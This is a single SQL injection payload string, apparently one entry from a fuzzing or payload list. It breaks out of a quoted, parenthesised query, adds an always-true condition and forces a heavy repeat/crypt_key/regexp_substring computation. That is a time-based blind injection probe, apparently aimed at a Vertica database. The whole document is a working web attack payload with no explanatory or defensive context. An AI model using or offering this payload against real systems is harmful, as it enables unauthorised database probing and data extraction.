"1'   )    )    as mdtm where 1393  =  1393 and char  (  107  )  ||char  (  121  )  ||char  (  97  )  ||char  (  80  )    =  regexp_substring  (  repeat  (  left  (  crypt_key  (  char  (  65  )  ||char  (  69  )  ||char  (  83  )  ,null  )  ,0  )  ,500000000  )  ,null  )  --"